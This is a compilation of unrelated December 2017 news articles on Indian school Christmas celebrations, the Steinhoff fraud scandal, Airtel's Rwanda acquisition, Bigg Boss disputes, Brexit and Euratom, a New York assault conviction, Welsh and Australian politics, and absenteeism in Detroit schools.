"The circular would be reaching all schools very shortly and we will decide a course of action on receiving their response," Sonu Savita, city president of the Hindu Jagran Manch, told reporters here yesterday.

Expressing concern over this, Praveen Agarwal, president of the Public School Development Society, said: "Each year we celebrate festivals belonging to all communities and this experience helps our children to play a responsible role as citizens of this country." Similar sentiments were echoed by Anurag Gupta, Convener of the Parents' Association, who said, "Our schools have been playing an important role in helping students acquire knowledge of different religions and this helps them when they move out to different countries all over the globe."

Senior superintendent of police Rajesh Pandey, however, made it clear that the district authorities would not allow anyone to force any school not to observe or celebrate Christmas.

Pandey told PTI he had assured all school managements that full security would be provided to them on Christmas and no one would be allowed to take the law into their own hands.

Reported by PTI

Also watch: Aadhaar card helps deaf and mute woman reunite with family

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Steinhoff scandal points to major gaps in stopping unethical corporate behaviour

A corporate scandal unfolding around one of the largest businesses coming out of South Africa, Steinhoff, has become a major cause for concern.

It threatens to wipe out hundreds of billions of rand invested on behalf of many people  rich as well as ordinary South Africans. Sibonelo Radebe asked Jannie Rossouw to interrogate the saga.

What do you read from these allegations of corporate corruption?

The Steinhoff scandal is disturbing because it points to a serious gap in the checks and balances in the investment management space. A scandal of this magnitude should not have occurred if the systems with their multiple layers were working.

Its still early days but it seems as if a multiple of highly paid professional layers failed investors. This includes auditors, asset managers and non executive directors who in their different roles should ensure that the companys accounts are as close to the truth as possible.

Steinhoff share price collapsed by more than 90%, wiping off nearly 10 billion in shareholder value in about three days following the resignation of the companys CEO, Markus Jooste, after news that German prosecutors were investigating the company for alleged massive accounting fraud. Steinhoff is listed on both the Johannesburg Stock Exchange and Frankfurt Stock Exchange.

Steinhoff shares were the darling of most fund and asset managers in South Africa and across the globe. We must ask questions why these entities, which draw enormous fees, failed to pick up the alleged irregularities when it seems like they should have done so if they were doing their jobs properly.

How big is the damage caused by this scandal?

Its still early days but some people are already tagging this scandal as the biggest corporate failure in the history of the Johannesburg Stock Exchange. With more than 40 retailing brands in over 30 countries, Steinhoff was positioned as one of the largest companies by market capitalisation on the exchange. Its market value of close to R300 billion as recorded earlier this year placed it in the top 10, flanked by other South African corporate giants like media giant Naspers, luxury products specialist Richemont, resources giant Anglo American, petrochemicals firm Sasol as well as two big banks Standard Bank and Firstrand.

If Steinhoffs stock doesnt recover the capital losses of share investors who bought at inflated prices will be massive.

Steinhoff started off as a South African based company but built itself into a global retail business with significant interests in western Europe. As a result it attracted prominent investors. In South Africa, these include the Public Investment Corporation which invests on behalf of the Government Employees Pension Fund among other public entities. The Public Investment Corporation is reported to hold 10% of Steinhoffs total shares which means its losses reached more than R10 billion after the share price collapsed.

It is therefore of the utmost importance and in the interest of all involved  particularly direct and indirect investors  that the Steinhoff matter be brought to a swift closure. Swift closure should be followed by legal action against and punishment of all those implicated.

How wide spread is such behaviour?

Each time a major scandal surfaces, regulatory gaps are identified and new measures are put in place to plug the apparent holes. But the scandals keep coming.

South Africa has had its fair share of corporate scandals with the most recent being a list of companies linked to the Gupta family inspired state capture. Big names like Naspers, KPMG, McKinsey and SAP have been caught in the extensive web of corruption allegedly driven by the Guptas who have close ties to the countrys president.

Some commentators have linked the Steinhoff saga to the broader ethical challenges facing South Africa. The integrity of some people in key positions of authority in both the public and private sectors is being questioned. This includes the countrys President Jacob Zuma who stands accused of violating the oath of office.

What must be done?

Despite the best efforts, its impossible to regulate for integrity and ethical behaviour. The one effective way that behaviour can be changed is through legal process and by means of tough punishment.

At this point in time we are still unsure of the degree of corporate rot in Steinhoff. Numerous allegations have been made, but the world now waits for the companys delayed audit report to see the full extent of possible corporate fraud. Steinhoff must act swiftly in informing shareholders and other stakeholders about the true financial health of the company.

The Board of directors of Steinhoff is responsible for the financial health and the financial reporting of the company. The problems at the company resulting in the serious decline in the share price, raise the question whether the Board members should continue to hold office. Under the watch of the current Board a massive destruction in shareholder value took place.

No Board replacing the current one can do worse, as there is simply hardly any shareholder value left to destroy. Will the current Board do the honourable thing and step aside?

If fraud is proven, I want to see Steinhoff executives serve jail terms. They have caused immeasurable harm to many people. This is the only way in which unethical and fraudulent behaviour can be out-rooted and integrity restored.

From a proper investigation of the affairs of Steinhoff, possible regulatory gaps should also be identified and eradicated. Nevertheless, no structure of regulation and supervision can replace the single most important requirement for successful business conduct: Ethical behaviour. In South Africa we need ethical behaviour at all levels, namely the government, businesses and civil society.

The board of directors of Steinhoff is responsible for the financial health and the financial reporting of the company. The problems at the company resulting in the serious decline in the share price, raise the question whether the board members should continue to hold office. Under the watch of the current Board a massive destruction in shareholder value took place. No board replacing the current one can do worse, as there is simply hardly any shareholder value left to destroy. Will the current board do the honourable thing and step aside?

Jannie Rossouw, Head of School of Economic & Business Sciences, University of the Witwatersrand

This article was originally published on The Conversation. Read the original article.
By PTI: New Delhi, Dec 19 (PTI) Telecom operator Bharti Airtel today said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda.

"Bharti Airtel Limited...has entered into a definitive agreement with Millicom International Cellular S.A. (Millicom) under which Airtel Rwanda Limited will acquire 100 per cent equity interest in Tigo Rwanda Limited," Bharti Airtel said in a statement.

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Under this deal, Tigos 370 million customers will join the network of Airtel Rwanda. The acquisition will make Airtel Rwanda the second largest operator in the country with revenues of over USD 80 million and a revenue market share of over 40 per cent, the statement said.

"The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals," the statement said.

Airtel at present operates in 15 African countries apart from India and South Asia.

"Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market," Bharti Airtel Chairman, Sunil Bharti Mittal said.

In the past, Airtel acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

"We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa," Mittal said.

Airtel is one of the largest telecom service providers across the continent in terms of geographical reach and had close to 83 million customers at the end of quarter ended September 30, 2017, the statement said. PTI PRS AAR

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By India Today Web Desk: Love her, hate her, but you can't ignore her. Everybody in social media has an opinion on Hina Khan--be it negative or positive. While TV celebs like Gauahar Khan, Kishwer Merchantt, Karan Patel and Vindu Dara Singh don't leave any opportunity to take a potshot at her, the Yeh Rishta star has found support in Namish Taneja, Devoleena Bhattacharjee and Kushal Tandon.

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"Guys....Reality check....Sponsored clothes par bhi Hina is getting trolled...90% are wearing sponsored clothes...& for all ur kind information...designers don't give their clothes to any random people...Tap water nahi pina hai usspe bhi trolled hina as if she commited some crime."

Devoleena had earlier terms Hina as classy and Shilpa as fake in her tweet. She also talked about Shilpa's fakeness in an interview.

"I don't know why but I find Shilpa Shinde to be completely fake. She is pretending from day one. A person can be bad to some and good to some, but Shilpa has ruined her equation with everyone including Vikas, Arshi and Aakash. I can't judge her to some extent because I think she isn't like that in reality."

Karan Patel on the other hand has expressed his strong dislike for Hina Khan. Even when he got the opportunity to enter Bigg Boss 11, he asked Hina to stop telling ties. Once again, the actor took a dig at her.

"Dekho phir se hua #Hyena ?... I can see a lot of wild #Dogs and #Cats just felt another pinch in the butt ???? .. chalo ab #ROna mat, nal Kholo aur #RO ke paani se apna muh Dho lo, toh shayad tumhara dimaag #Chalu ho jaye ???? #BigBoss11 #BB11," he wrote.

Meanwhile, temperatures in the Bigg Boss 11 house are on an all-time high after Hiten's eviction. So much so that the housemates committed the blunder of discussing nominations and got nominated by BB 11 instead, with the exception of Hina.

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Brexit talks can now turn to trade, says government official

19 December 2017

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The day before British Prime Minister Theresa May and European Commission President Jean-Claude Juncker agreed a deal to complete the first phase of Brexit negotiations, a senior civil servant assured the nuclear industry that the British government aimed to achieve a smooth departure from the European Atomic Energy Community (Euratom). Meanwhile, European electricity association Eurelectric has outlined the objectives it says are needed for a "sound Brexit transition".

The British government announced it intends to leave Euratom when, in January, it published a bill authorising Brexit. The peaceful use of nuclear energy within the EU is governed by the 1957 Euratom Treaty. The Euratom Community is a separate legal entity from the EU, but it is governed by the bloc's institutions.

"There is political commitment right across the British government to ensure as much continuity as possible for the nuclear industry," David Wagstaff, deputy director of the Euratom exit at the Department for Business, Energy and Industrial Strategy (BEIS), told delegates at the UK Nuclear Industry Association's annual conference in London on 7 December. BEIS is working "very closely and collaboratively", he said, with the Department for Exiting the European Union (DExEU).

Talks with the EU have thus far been restricted to 'separation issues', he said, and trade would be part of the second stage of talks. For the Euratom exit, separation issues cover three areas: the future ownership of Euratom's inspectors and equipment in the UK; special fissile materials; and used fuel and radioactive waste. The government has not been able to make progress on the future framework of supply contracts, however, as this matter is to be covered in the second phase of talks - the UK's 'future relationship' with the EU, he said.

"It doesn't signal a huge falling out with the EU; it signals that in their view it is not a separation issue, but a future relationship issue, so they won't talk about it yet," Wagstaff said. But the government is keen to ensure supply contract arrangements will be "right at the top of the agenda" in the second phase of talks, he added.

Nuclear safeguards

As part of preparations for its exit from the EU, the government is establishing a domestic nuclear safeguards regime to ensure the UK continues to maintain its position as a responsible nuclear state, and that withdrawal from Euratom will not result in the weakening of its future safeguards standards and oversight in the country. The planned regime, announced on 14 September, will be managed by the UK's Office for Nuclear Regulation (ONR) and require new agreements with the International Atomic Energy Agency (IAEA).

Introduced to parliament by BEIS Secretary of State Greg Clark on 11 October, the Nuclear Safeguards Bill was considered in a Public Bill Committee and reported without amendment on 14 November. Members of Parliament will next consider the Bill at the Report Stage on a date to be announced.

The UK's nuclear safeguards regime is not reliant on its negotiations with the EU and is "essentially what we're doing ourselves", Wagstaff said, "putting in place primary and secondary legislation". The ONR already regulates nuclear safety and security, so it is "not an enormous leap of logic" for it to regulate nuclear safeguards as well, he said.

"We are very clear in our team that we have a crucial role in making sure that whatever happens in the EU negotiations we will still prosper and succeed in the nuclear sector  That is why our first priority, as soon as the decision to leave Euratom was announced, was to get the legislative powers in place; that's why it was one of the very first of the Brexit bills to come in front of the House [of Commons].

"Ministers have made a public commitment to build this regime up to a level which ensures it will be at the same standard as the current safeguards standard. It's important to emphasise that our legal commitment under the international agreements, is to fulfill safeguards standards for the UK as a weapons state. It's our view that we should go beyond that and maintain Euratom levels of standards, but what we need from day one is for all of you to continue to operate as part of the UK's responsible position as a civil nuclear power meeting these international standards."

The "parliamentary balance" on the Bill's passage through Parliament is "quite a delicate one at the moment", he said, "so we can't guarantee that the progress we have made will continue quite as serenely through the report stage." However, if all goes to plan, the Bill will receive Royal Assent early next year, he added.

"We are working to an assumption that even if we get nothing whatsoever out of any of the discussions in Brussels, we will still have the regulatory architecture in place from day one to avoid any problems of continuity," he said.

Asked how the nuclear safeguards regime will be paid for once the ONR, and not Euratom, has responsibility for them in the UK, Wagstaff said: "The ONR is an independent regulatory body. The set-up costs will be borne by us [BEIS], but I can't answer what the ongoing running costs would be and who would pay for them."

The ONR and BEIS are working "hand-in-hand" and this project is "going at pace", with recruitment and IT procurement in process.

Voluntary Offer Agreement

DExEU published a position paper on nuclear materials and safeguards issues on 13 July, which refers to the UK's role as a responsible nuclear weapons state and non-proliferation leader, and ensuring a UK nuclear safeguards regime is in place that is commensurate with its international obligations through the IAEA. To ensure this, it makes commitments that include agreeing a Voluntary Offer Agreement (VOA) with the Vienna-based agency that sets out the UK's primary safeguards arrangements in international law.

Asked for the end-date for nuclear safeguards before nuclear cooperation agreements (NCAs) with third party countries can be signed, Wagstaff said: "We don't have to run everything in a very strict sequence."

During NCA talks with governments in Australia, Canada, Japan and the USA, "we explain that we are in parallel discussions with the IAEA", he said.

Those countries "see exactly what we're trying to do and want to help us and therefore they are prepared to start their ratification processes on the basis that we are working towards a Voluntary Offer Agreement. The sooner we get that [VOA] the better, but should we fail to get it signed in March or April, and have to wait until June or July, that does not mean we've missed the boat with NCAs," he added.

BEIS has already been in talks with the IAEA to agree a new VOA, he said.

There is a "perfectly sound" VOA already in place, he said, but this is a trilateral UK-Euratom-IAEA agreement. This will be replaced by a bilateral UK-IAEA agreement.

"I'm not downplaying the amount of work we've got to do, but it's not a conceptually difficult thing were doing - we're replacing a trilateral agreement with a bilateral agreement," he said, adding that BEIS expects to put forward a new VOA, to be signed by IAEA Member States, early next year.

"That's our ambition," he said.

Third country agreements

Negotiations with third countries are "going steadily and well", he said.

"An important point to make here is that this is not a battle to try and get something out of some difficult negotiations. Both parties can see obvious benefits to agreeing new nuclear cooperation agreements to replace the existing ones, so we are not trying to do anything new or difficult here. It is a bureaucratic process, it involves long discussions, it involves ratification. We are not complacent about this, we know how long it takes and we have the timelines built into what we are doing. But the aim is a common mutual benefit to have cooperation agreements, so we do not foresee any great fallings out and we are confident these things can be delivered regardless of how the negotiations go in Brussels."

There are "plenty of perfectly workable" international agreements in place for nuclear trade to facilitate nuclear exchanges, he said.

"What we are doing there is replacing the existing Euratom-led, or trilateral, agreements with bilateral agreements, and again we are making very good progress with the countries which require such agreements by law. Those are the USA, Canada, Japan and Australia. Obviously, the EU negotiations themselves are going on in Brussels and so far we've had what are known as the 'separation discussions'; those are now coming to an end and we are very much looking forward to moving on to future discussions, which will cover the implementation period," he said.

May "talked about this" in her Florence speech, on 22 September, in which the prime minister set out how the UK will be the "strongest friend and partner" to the EU after it leaves the EU.

Wagstaff said the government would expect the "enduring future relationship" described in May's speech "to be formalised by some form of agreement with the EU side, but more than that we cannot say at this moment because we havent actually started having those discussions yet".

Research and development

Wagstaff referred to Horizon 2020 - the biggest EU research and innovation funding programme.

The "whole teams" in BEIS that are working on research and development are "looking across the piece at a much wider R&D picture that involves Horizon 2020 and all of the R&D budget lines that are intimately involved with the EU, and as part of that is the nuclear R&D", he said.

He also noted the government's commitment to underwrite UK funding of the Joint European Torus (JET) fusion project at Culham Laboratory, in Oxfordshire, until the end of 2020.

The department's announcement on 7 December of GBP86 million in funding for nuclear fusion is "very much an endorsement of what we've been saying all along", he said, "which is that we are very keen to continue to maintain the UK's leading role in nuclear research".

Other announcements on the government's policy on nuclear power that were made the same day included a position paper on the "wider innovations development ambitions of the country" as it leaves the EU, he said. "And, again, this is about continuity and having future cooperation. Through our close association with Euratom, we have precedents with other members of the EU and Euratom, and we are confident that it is in the interests of all parties for the UK to continue to be a significant contributor to EU and international R&D programmes and that includes Culham, where we have fusion technology."

He added: "I can't say more on the implementation period. We will of course be prioritising that for continuity, certainty and an ability to have a smooth transition to avoid that cliff-edge. Discussions have not yet started."

Another announcement was that the government will be holding "regular industry forums", the next of which will be in January, Wagstaff said. "Invitations for that will be going out soon."

Eurelectric's position

In a position paper Objectives for a Sound Brexit Transition, published this month, Eurelectric said it welcomed the agreement reached between the UK and the European Commission in the first phase of their negotiations.

"We are however of the view that there is insufficient time left between now and March 2019 to agree an energy trading arrangement, which addresses among other things the issues of the continuation of the single electricity market on the island of Ireland and provides time for its implementation," the organisation said. "Consequently, the EU electricity sector considers it imperative that a reasonable period of time for negotiations beyond this date is agreed by both parties. Businesses and citizens in both the UK and the EU would benefit from a transition period. This would help provide stability and maintain investors' confidence by adjusting smoothly and orderly to the new arrangements," it added.

The UK's "continued participation in or seamless linkage with" the internal energy market offers the "most rational outcome" post-Brexit, it said, since there is a strong mutual interest in maintaining cross-border collaboration. A transitional period, which seeks to provide certainty and stability to businesses and citizens can be achieved through, where possible, maintaining current arrangements, it added.

The process of negotiating an agreement should be handled, it said, in two distinct parts during the transition period - Part 1: finalise the energy trading arrangements to be put in place on withdrawal; and Part 2: work out the implementation process of the agreed relationship and the timeframe for amending any legal, regulatory and technical measures permitting the operation of the new arrangements with the aim of achieving an orderly change.

Objectives that should inform the negotiations, "with the goal that UK access to the EU internal electricity market will continue", it said, are:

 the transition period must be sufficient to allow that an energy trade agreement can be made;

 only those policy issues relating directly to the free and fair trading of energy should be the subject of such an energy trade agreement;

 legal clarity must be provided, with fair and equitable treatment of participants in both EU and UK markets regarding contracts established prior to 29 March 2017 and during the transition period;

 legal clarity must be provided regarding continuation of the single electricity market on the island of Ireland;

 clarity must be provided regarding governance during the transition period in the absence of a continued direct linkage to the internal energy market;

 unrestricted movement of skilled personnel to and from the EU and UK must be preserved for all sectors;

 clear principles must be provided for addressing the key separation issues relating to UKs withdrawal from Euratom and commitment to a future regime that provides coverage equivalent to existing Euratom arrangements.

"The European electricity sector welcomes the acknowledgement by the UK and the EU of the desirability to have a more realistic period for negotiation and adjustment. We also urge parties to confirm the extension of this period by the end of 2017 to provide market stability and maintain investor confidence," it said.

Researched and written

by World Nuclear News

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A jealous boyfriend was thrown in jail after forcing his girlfriend to walk naked on a bitterly cold day in New York, according to police.

Manhattan District Attorney Cyrus R. Vance, Jr., announced that Jasson Melo, 26, was found guilty of assaulting his former girlfriend, 24, and forcing her to walk naked on a public street while he berated her and recorded the incident.

Melo was convicted by a New York State Supreme Court jury of the top charge he faced, coercion in the first degree, as well as assault in the third degree, menacing in the second degree, endangering the welfare of a child, and aggravated harassment in the second degree.

Melo will be sentenced next month.

He faces up to 7 years in prison.

A judge remanded him into jail until sentencing.

aJasson Melo assaulted his former girlfriend and then forced her to walk naked, in the middle of winter, down a public street while their two-month-old baby was left unattended in their home.

To further degrade her, he recorded the ordeal, then had the audacity to brag about his actions, sharing the video with multiple friends and even attempting to profit from it,a said District Attorney Vance.

aThis defendant has never demonstrated an ounce of remorse for his disgusting and violent conduct, Vance added.

According to the police investigation, at approximately 5:00 a.m., Melo returned to his home on West 142nd Street after a night out.

His former girlfriend and the two-month-old child they shared were already inside the apartment.

The defendant and the victim began arguing, and over the course of the next two hours, Melo struck the victim repeatedly on her face and body, punching her in the ribs, stomach, and genital area.

He also threatened to throw her down the stairs and strike her with a statue.

Melo was upset that his girlfriend exchanged explicit text messages with 7 men, talking about kissing and love.

At approximately 8:00 a.m., Melo forced the victim to go outside, wrapped only in a towel, and walk down West 142nd Street.

Melo berated her and recorded the entire incident.

He eventually took the towel from her and continued recording while she was naked on the street.

Following the incident, Melo sent the video to multiple people, including friends and family members of the victim.

The victim called the police the next day and sought medical treatment for pain, bruising, redness, and swelling stemming from the assault.

Melo claimed that his girlfriend agreed to walk naked in the street in exchange for his forgiveness.
The deceased has been identified as Bansi Dhar Dutt (50) and was posted at the Siwan jail.

By Rohit Kumar Singh: In a sensational incident, a home guard jawan was shot dead by criminals in Siwan while he was returning home after his duty.

The deceased has been identified as Bansi Dhar Dutt (50) and was posted at the Siwan jail.

Dutt after his duty at the jail was returning to his village Markan, 10 km from the Siwan when unidentified motorcycle-borne criminals who were already waiting for him outside his village attacked him and pumped three bullets into his body.

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After firing at the home guard jawan, the criminals fled from the site.

The place where the incident happened falls under the Husainganj police station, close to Pratappur, the village of dreaded mafia don Md. Shahabuddin.

Soon after the incident, Dutt was rushed to the civil hospital where he died during treatment.

Police has begun investigation into this incident. According to police sources, the police is investigation on the angle that since the home guard was posted at the Siwan jail, he perhaps could have been into an altercation with a prisoner which may have led to his killing.

Raids are being carried across Siwan to nab the assailants.

The incident is yet another in series of murders that have taken in the state in the last few days.

The increasing crime graph has raised questions over the law and order claims of Nitish Kumar government.

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Extra cash for Wrexham  AM writes to Council Leader asking him to reassess their proposals

This article is old - Published: Tuesday, Dec 19th, 2017

Councils and the NHS in Wales will receive an extra 160m over the next two years to support key frontline public services, with Wrexhams AM hoping the cash will prompt a reassessment of local cuts proposals.

Finance Secretary Mark Drakeford has announced 20m for local authorities  no detail published yet, but could mean 900k locally on top of draft settlement if evenly spread.  Wrexham.com (@wrexham) December 19, 2017

The announcement is part of the Welsh Governments final Budget for the upcoming financial year.

Via the Barnett formula, the Welsh Government has been able to adapt new revenue allocations due to consequential funding from the UK Governments Autumn Budget.

Over the next two years, the Welsh Government has allocated an additional 100m for health services and an extra 60m for local government, with 20m outlined in 2018-19 and 40m in 2019-20.

During this coming financial year, a further 18m will be spent on education, 10m to target youth homelessness and 8m for economy and transport projects.

The Welsh Government will also create an EU transition fund to help businesses and other public sector organisations plan and prepare for Brexit.

Wrexhams Assembly Member, Lesley Griffiths AM, has welcomed the additional investment and has written to Wrexham Councils Leader.

She said: Continued cuts to the Welsh Budget by the UK Government have had a detrimental effect on public services across the country so this extra support is much-needed and will be well-received.

I particularly welcome the additional funding for local government as certain proposed cuts outlined by Wrexham Council concerned a great number of my constituents. As well as making representations on their behalf to Wrexham Council, I met with Alun Davies AM, Cabinet Secretary for Local Government & Public Services last month to put forward the case for additional funding.

Locally, proposed cuts to music services and park provision caused particular concern but this extra investment provides the ideal opportunity for Wrexham Council to reassess their proposals and focus on delivering the best possible services for local residents.

Finance Secretary Mark Drakeford said: The final Budget marks a significant milestone in Wales devolution journey as, for the first time, Wales becomes responsible for raising a proportion of its own revenue from 2 new devolved taxes to spend on public services.

I am pleased to be able to provide additional funding for public services  areas we know need extra support. This funding will help to ease some of the pressures on frontline public services, which have been struggling to cope as a result of the successive cuts to our budget, which we have experienced since 2010-11 thanks to the UK governments programme of austerity.

Shadow Finance Secretary, Nick Ramsay said: The Chancellors budget has delivered a substantial financial boost for Wales and we are pleased to see Mark Drakeford has listened to our calls to invest the additional cash into key frontline services such as the NHS and local government.

As ever, the devil is always in the detail and we will examine closely where this funding is allocated, particularly after nearly two decades of budgets from the Labour Party which have failed to deliver increased prosperity and improved public services in Wales.

It is imperative this investment is aimed at improving outcomes for people across Wales and not to cover up the financial mismanagement of key public services by Carwyn Jones and his Welsh Government.
By PTI: Kolkata, Dec 19 (PTI) Accusing the ruling TMC of trying to let loose a reign of terror in the Sabang assembly constituency, the BJP and Congress has demanded adequate deployment of Central forces by the Election Commission in order to ensure free and fair elections.

Bypoll in the seat will be held on December 21.

"According to the norms of EC, we want Central forces to be deployed in all the booths of Sabang constituency. Democracy is under threat and TMC has let loose a reign of terror. It is the duty of the EC to ensure that free and fair voting takes place," BJP leader Jayprakash Majumdar said.

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A BJP delegation has also met the Chief Electoral Officer (CEO) of West Bengal and submitted a deputation in this regard.

The CEO of West Bengal had already sent eight companies of Central forces to Sabang. But the BJP wants 14 companies of Central forces to be deployed in Sabang.

The Congress also echoed the views of BJP and said there is need to send more forces.

"The CEO, West Bengal should ensure that election is free and fair. It should ensure that at least this eight companies of Central forces should be utilised properly," Leader of Opposition and senior Congress leader Abdul Mannan said.

The Trinamool Congress (TMC) leadership while reacting to BJPs demand said, "they can ask for as many force they want to. They had tried the same trick in 2016 but had failed. The people of West Bengal stands with Mamata Banerjee, we will win the seat with a much bigger margin".

Asked about the opposition demand for deployment of more paramilitary forces, an Election Commission official here said, "The Commission is looking into their demands but nothing has been decided so far. Eight companies have already been deployed," he said. PTI PNT RG

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Over two-thirds of Detroit children attending public school are chronically absent, according to a new report from the Coalition for the Future of Detroit Children. The Coalition describes students with more than 10 days absent in a school year as chronically absent. National standards for chronic absenteeism are 10 percent of the school year, typically 18 days. Detroit still has 56.3 percent, or 27,533, students so identified, up from 54.8 percent the year before.

Last month, Detroit Public Schools Community District (DPSCD) school superintendent Nikolai Vitti noted that at least 10 percent of Detroit students are homelessputting Detroit on par with New York City. Of the nations 1.3 million homeless public school students, New York has the highest percentage, according to the 2014-15 national database.

These dire statistics emerge directly from years of poverty ravaging the citizens of Detroit, significantly worsened as a result of the Wall Street-imposed bankruptcy process of 2013-14 which devastated city services, workers wages and pensions. Block after block of burned out and foreclosed-upon homes testify to the social crime visited upon the biggest poor city in America by bondholders, wealthy investors and the banks.

These victimized neighborhoods have seen little or no improvement compared to the minuscule downtown area described as roaring back by the New York Times, other media and Democratic Party politicians, dubbing Detroit the comeback city in order to advance their careers on the bones of hard-pressed residents. For example, new laws were passed this year giving developer Dan Gilbert up to $1 billion in taxpayer money for his latest downtown project on the site of the former J.L. Hudson building.

There are a lot of homeless children, a long-time teacher from the Detroit Public Schools Community District told the WSWS. They are squatting in abandoned homes. I tell the cafeteria workers, Please dont throw away extra food. I get this food, bag it up and take it to my classroom. When I see one of these kidsyou can tell who they are because they stinkI tell them to take some of this food home to their family.

She went on to describe the third-world conditions facing children in Detroit. I also give my children food while they work on projects. It helps their behavior and plus they just need to eat. A lot of times their water is cut off and they cant wash their clothes. We would sometimes get their clothes and wash them in the school washing machines for them.

It bothers me to think about these kids living in abandoned houses. Yes, they are absent. But when school is cancelled, like it is today for snow, kids will come to school anyway to see if they can eat.

Mounting evidence shows how the toxic stress of adverse childhood experiences, including homelessness, can impair brain development in young children and have long-lasting emotional and physical effects, including creating a weak foundation for learning, behavior and health.

It is therefore no wonder that standardized testing shows Detroit last in the nation in early literacy for low-income students. In 2016 and 2017, only 9.9 percent of the Detroit districts third-graders were proficient in reading, according to the National Assessment of Educational Progress.

The teacher, who requested anonymity to protect her job, spoke on an added dimension to the scale of social devastation in the city. She said, Youve also got homeless teachers. Yes, teachers living in their cars. They take their own kids to school and then come in and teach. They were already underwater before they started teaching and their checks are being garnisheed. We had a teacher here whose car was repossessed right in the parking lot while she had a room full of children.

Addressing the way these socially induced problems are used as a pretext to privatize schools and open them up to for-profit charters, she added, But they blame the teachers for the test scores when half the students are coming to school. Its gotten so bad they hired an 80-year-old math teacher! Meanwhile you have 45 kids in a classroom, and we are talking about sixth graders who cannot add or multiply.

Its just runaway poverty. [Trump Education Secretary Betsy] DeVos wants to turn everything into charter schools. Its not the administrators, its the administrators on top of the administrators. When Barack Obama came to Detroit and the teachers were marching in the cold, he didnt even recognize us. Then he went to Flint and claimed he drank the water. I dont believe he drank Flint water for a minute.

A quarter of Detroit students now attend suburban schools, as parents make huge sacrifices in time and money to try to better their childrens education. Half of the citys children are attending charter schools, the majority of which are for-profit. The Coalition for the Future of Detroit Children itself is a partnership between representatives of the charter schools and the Skillman Foundation, business entities and Democratic politicians. Other organizations like IFF, a nonprofit heavily connected with JPMorgan Chase and Goldman Sachs, are issuing reports on the devastation of public education in the city for the purpose of further privatization in the guise of philanthropy.

A teacher at a Detroit charter said conditions are just as bad at the privately run schools: At charters, there is no busing. Many of our kids are not within walking distance. Ive heard about parents car problems, not being able to afford gas oreven more commonninth graders having the responsibility of taking care of little siblings who are sick.

I have kids who miss a day a week for an entire year. Often kids cant get to school. Add in suspensions and thats a whole other thing. Its supposed to be restorative justice, but we still have kids suspended for long periods of time. Its a day just for dress code, 3-5 days for nearly getting into a fight.

When you miss that much school, it affects your academic progress. Getting suspended just feeds into the mindset of not being motivated.

Ive had students whose families live out of their cars or at a long-term motels with three kids in a room with their parents. The amount of stress that entails has huge effects on children. They are worried about their parents.

Obviously absenteeism is extremely correlated with poverty. If kids worry about where to sleep or what to eat, no wonder they have problems academically.

Another DPSCD teacher referred to about a hundred coats being given out at her school, saying that number fell far short of the actual need. She also added that in her view, The absenteeism has a lot to do with the testing campaign of the schools, I consider it torture of both the students and the teachers. As to the extraordinarily high levels of absenteeism, she said, I have one girl who has to take a cab to school every day, but some days the cab doesnt show, then of course she is absent through no fault of her own.

The charter school teacher concluded, There is no fixing my students without fixing the underlying problem, which is social. We, as teachers, cannot do that. I just try to take small steps to help.

The veteran DPSCD teacher focused on the failure of the union, the Detroit Federation of Teachers, to protect either students or teachers. When I had to take a half day off, the union rep came and told me that it would be counted as a full day. What am I paying union dues for? We are being told that taking more than seven days off will affect our evaluation, yet our contract gives us 12 days a year! Its a violation of the contract.

Actually, I stopped paying union dues. What was I paying for? The union told me I was freeloading. I told them that the union had been freeloading off of me for years. I said, You have nothing in your bag to convince me, you sold us down the river. The union hasnt done anything for us. Fifty-five should not be a class size, its a speed limit. All the union wants is to keep the organization large so they can get the dues money.
The Liberal-National Coalition government retained the federal seat of Bennelong, in northwestern Sydney, in a by-election last Saturday that underscored the fragility of the official parliamentary set-up.

Liberal candidate John Alexander received 44.9 percent of the primary vote, down 5.5 percent compared with the 2016 federal election. Labors Kristina Keneally gained a 7 percent swing on the partys election result last year, securing just 36 percent of primary votes.

Alexander was the beneficiary of preferences from the right-wing populist Australian Conservatives, who polled at 4.3 percent, and the Christian Democratic Party, at 3.1 percent, ensuring that he won the seat.

One indication of disaffection with the entire political establishment was the informal votethose who spoiled their ballot, or failed to vote correctlywhich was up 2.5 points, to 7.24 percent. According to preliminary figures, another 15 percent of enrolled electors may not have cast a ballot at all, despite voting being compulsory.

The by-election was triggered by Alexanders resignation from the House of Representatives last November, after it emerged that he may have been a British-Australian dual citizen by descent. He was only able to recontest the seat after formally renouncing any right to British citizenship.

Under anti-democratic provisions contained in Section 44 of the Australian Constitution, individuals entitled to the rights and privileges of a foreign power are not permitted to hold federal office. The clause effectively prohibits about half the population from standing for parliament.

Last October, the High Court ruled that five MPs, including Deputy Prime Minister Barnaby Joyce, were ineligible to remain in parliament, because they had not renounced their dual citizenship before being elected. The MPs were ousted, despite claiming they did not know of their overseas citizenship rights, triggering a series of by-elections.

Seven more MPs have been referred to the High Court, with the media alleging that others may follow. The campaign has been continued, by the corporate press and the political establishment, despite its destabilising impact, in a bid to promote nationalism. It is aimed at diverting growing social discontent, and legitimising Australias increasingly prominent role in US-led wars and military preparations.

The by-elections have jeopardised the governments one-seat majority in the lower house of federal parliament. If Alexander had been defeated, the Coalition governments share of seats in the 150-member House of Representatives would have been reduced to 75.

Despite Alexanders victory, the result has further fuelled commentary suggesting that the Coalition would not retain government in a federal election that may be called as early as next year. If the swings to Labor in Bennelong were replicated nationally, the Turnbull government would be ousted from office.

The campaign in Bennelong was dominated by mutual political mudslinging, and attempts to whip-up an atmosphere of nationalism and xenophobia, to distract from the pro-business policies of all the official parties.

The Liberal Partys campaign highlighted Labor candidate Kristina Keneallys alleged ties to Eddie Obeid and Ian McDonald, former New South Wales Labor politicians convicted of corruption, when she was the states premier from 2009 to 2011.

Keneally likewise appealed to widespread opposition to the Turnbull governments cuts to education, healthcare and social spending, to obscure the fact that the austerity measures being imposed by the Liberal-Nationals are a continuation of the pro-business policies of former federal Labor governments.

